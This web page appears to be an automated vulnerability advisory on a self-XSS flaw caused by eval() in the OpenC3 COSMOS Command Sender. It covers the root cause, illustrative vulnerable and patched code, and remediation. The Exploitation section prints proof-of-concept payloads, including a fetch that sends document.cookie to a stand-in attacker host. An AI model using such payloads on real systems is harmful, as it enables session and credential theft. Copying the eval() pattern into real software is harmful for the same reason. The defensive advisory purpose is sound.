CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-FFQ5-QPVF-XQ7X

GHSA-ffq5-qpvf-xq7x: Self-Cross-Site Scripting via Unsafe eval() in OpenC3 COSMOS Command Sender

Alon Barad
Alon Barad
Software Engineer

Apr 23, 2026·6 min read·14 visits

Executive Summary (TL;DR)

Unsafe use of eval() in the OpenC3 COSMOS Command Sender interface allows for Self-XSS via crafted array-like parameters. The issue is remediated in version 7.0.0.

OpenC3 COSMOS versions prior to 7.0.0 contain a vulnerability in the Command Sender UI where array-like command parameters are processed using the unsafe eval() function. This design flaw permits the execution of arbitrary JavaScript within the user's browser context.

Vulnerability Overview

OpenC3 COSMOS is a telemetry and command system designed to interface with embedded systems, satellites, and test equipment. The Command Sender user interface is a core component that allows operators to manually construct and transmit commands to connected hardware. Commands often require complex parameters, such as arrays or nested data structures, to properly format the outgoing telemetry frames.

The attack surface exists within the web-based Command Sender UI, specifically in the input fields designated for these array-like or structured command parameters. Versions of OpenC3 COSMOS prior to 7.0.0 fail to properly neutralize input entered into these specific parameter fields. This constitutes an Improper Neutralization of Input During Web Page Generation, categorized under CWE-79.

The vulnerability manifests because the application relies on the JavaScript eval() function to parse user-supplied strings into JavaScript objects. By providing a specifically crafted string containing executable JavaScript syntax, an attacker can force the browser to execute arbitrary code within the security context of the COSMOS application session.

Root Cause Analysis

The root cause of this vulnerability is the frontend application's architectural decision to use eval() for deserializing complex parameter inputs. When a user interacts with the Command Sender, they must provide values for the defined parameters of a selected command. If a command defines an array type, the frontend receives the user's input as a plain text string.

To convert this string representation back into a usable JavaScript array for subsequent processing and API transmission, the application executes eval(inputString). The eval() function invokes the JavaScript interpreter on the provided string. This is inherently unsafe when handling data derived from user input, as the interpreter cannot distinguish between data structures and executable instructions.

The vulnerability is triggered precisely when the provided string contains valid JavaScript expressions instead of, or in addition to, the expected data structure. Because no sanitization or strict type validation occurs before the evaluation, the browser executes the payload immediately upon parsing.

Code Analysis

In the vulnerable versions of the OpenC3 COSMOS frontend, the parsing logic for array-like inputs directly invokes the eval() function. The application attempts to rapidly convert user string input representing arrays into native JavaScript arrays without enforcing a strict serialization format like JSON.

// Illustrative Vulnerable Implementation
function parseCommandParameter(inputStr) {
    // The inputStr is passed directly into eval()
    // If inputStr is "[alert(1)]", the browser executes the alert.
    let parsedArray = eval(inputStr);
    return parsedArray;
}

The remediation implemented in OpenC3 COSMOS version 7.0.0 eliminates the use of eval() for parameter parsing. The developers replaced the dynamic evaluation with secure parsing methodologies, primarily enforcing the use of JSON.parse() for structured data, which strictly validates the input as data and prevents code execution.

// Illustrative Patched Implementation
function parseCommandParameter(inputStr) {
    try {
        // JSON.parse strictly expects data formats, refusing executable code.
        let parsedArray = JSON.parse(inputStr);
        return parsedArray;
    } catch (e) {
        // Handle invalid format gracefully without execution
        console.error("Invalid parameter format");
        return null;
    }
}

Exploitation

Exploitation of this vulnerability requires the attacker to introduce a malicious payload into the Command Sender input fields. The attacker must target a command that expects an array or structured parameter, as these are the specific fields processed by the vulnerable eval() logic. The payload must be formatted such that it is valid JavaScript syntax, typically enclosing the payload within array brackets to align with the expected input structure.

A typical proof-of-concept payload takes the form of [alert(document.cookie)] or [fetch('https://attacker.example.com/?cookie='+document.cookie)]. When the user submits the form or triggers the field evaluation, the application executes eval("[alert(document.cookie)]"). The browser executes the alert function, demonstrating arbitrary code execution within the application's origin.

This vulnerability is classified as Self-XSS because the execution occurs in the session of the user providing the input. Weaponization requires social engineering. An attacker must convince an authenticated operator to paste a malicious string into the Command Sender, or the attacker must compromise a shared configuration file containing pre-defined malicious command parameters that the operator subsequently imports.

Impact Assessment

The execution of arbitrary JavaScript within the OpenC3 COSMOS application context yields a moderate security impact. The attacker gains full access to the Document Object Model (DOM), allowing them to read sensitive telemetry data displayed in the UI, manipulate the interface, and access session tokens stored in cookies or local storage.

Furthermore, the executed script operates with the authenticated user's privileges. The script can silently issue unauthorized commands to connected satellites or embedded systems via the COSMOS API on behalf of the victim. This compromises the integrity of the command and control infrastructure managed by the software.

The CVSS v3.1 vector evaluates to 5.4 (Moderate). The score is constrained by the strict requirement for user interaction (UI:R) and the localized nature of the execution. The attacker cannot autonomously trigger the payload against other users without relying on social engineering or secondary configuration injection vectors.

Remediation

The primary and complete remediation for this vulnerability is upgrading the OpenC3 COSMOS installation to version 7.0.0 or later. This release fundamentally alters the input handling mechanism within the Command Sender UI, entirely removing the unsafe eval() calls and replacing them with secure JSON parsing and strict input validation.

For environments where immediate patching is not feasible, operational workarounds must be enforced. Administrators must instruct operators never to paste untrusted or unverified command parameters into the Command Sender interface. Any shared command configurations or scripts imported from third parties must be manually reviewed for malicious JavaScript payloads prior to execution.

Additionally, organizations can implement protective monitoring controls. Web Application Firewalls (WAFs) can be tuned to detect and alert on common JavaScript execution primitives (such as alert, fetch, document.cookie) within POST requests destined for the COSMOS API. However, client-side execution means WAFs will not prevent the initial DOM-based evaluation, making the software upgrade the only definitive fix.

Official Patches

OpenC3OpenC3 COSMOS Release Notes v7.0.0

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Affected Systems

OpenC3 COSMOS Command Sender UI

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenC3 COSMOS
OpenC3
< 7.0.07.0.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score5.4
ImpactModerate (Self-XSS)
Exploit StatusProof of Concept
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link/Input
Execution
T1189Drive-by Compromise
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

GitHub Advisory GHSA-ffq5-qpvf-xq7x published
2025-01-27
OpenC3 COSMOS 7.0.0 released containing the fix
2025-01-31

References & Sources

  • [1]GitHub Advisory Database: GHSA-ffq5-qpvf-xq7x
  • [2]OpenC3 COSMOS Release Notes v7.0.0
  • [3]SecAlerts Vulnerability Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 minute ago•CVE-2026-16221
7.5

CVE-2026-16221: Interpretation Conflict leading to Host Confusion and SSRF Bypass in fast-uri

An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.

Amit Schendel
Amit Schendel
0 views•8 min read
•about 1 hour ago•CVE-2026-59889
6.5

CVE-2026-59889: @JsonView Bypass for @JsonUnwrapped Properties during Deserialization in jackson-databind

An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.

Alon Barad
Alon Barad
4 views•9 min read
•about 2 hours ago•CVE-2026-58426
9.6

CVE-2026-58426: Cryptographic Boundary-Shifting in Gitea Actions Artifacts

CVE-2026-58426 is a critical security vulnerability in Gitea Actions where improper signature serialization allows an authenticated attacker to execute a canonicalization (boundary-shifting) attack. By rewriting query parameters while keeping the signature intact, the attacker can bypass access control checks to read private workflow artifacts or modify concurrent task upload states.

Alon Barad
Alon Barad
5 views•6 min read
•about 3 hours ago•GHSA-2F96-G7MH-G2HX
8.8

GHSA-2F96-G7MH-G2HX: Command Injection Bypass in GitPython Options Validation

GitPython prior to version 3.1.51 contains a command injection vulnerability due to flaws in its option validation routine. By exploiting Git's native argument parser behavior, specifically long-option abbreviation resolution and short-option clustering, attackers can bypass the check_unsafe_options blocklist to execute arbitrary OS commands.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 4 hours ago•CVE-2026-59879
8.7

CVE-2026-59879: Infinite Loop and Integer Overflow in Immutable.js List Sizing

CVE-2026-59879 describes a critical integer overflow vulnerability in the Immutable.js library when handling indices near 32-bit boundaries. An attacker can leverage this flaw to cause a denial of service via CPU thread lockup or process crashes, as well as data corruption through silent size truncation.

Amit Schendel
Amit Schendel
6 views•8 min read
•about 5 hours ago•CVE-2026-54291
8.2

CVE-2026-54291: Silent Channel-Binding Authentication Downgrade in PostgreSQL JDBC Driver (pgjdbc)

A critical security bypass and algorithm downgrade vulnerability in the PostgreSQL JDBC Driver (pgjdbc) allows Man-in-the-Middle (MITM) attackers to silently bypass channel binding requirements. When configured with `channelBinding=require`, the driver fails to assert that the negotiated SCRAM mechanism utilizes channel binding, allowing downgrade to plain SCRAM-SHA-256 when encountering unsupported server certificate signature algorithms (such as Ed25519 or Ed448).

Alon Barad
Alon Barad
7 views•7 min read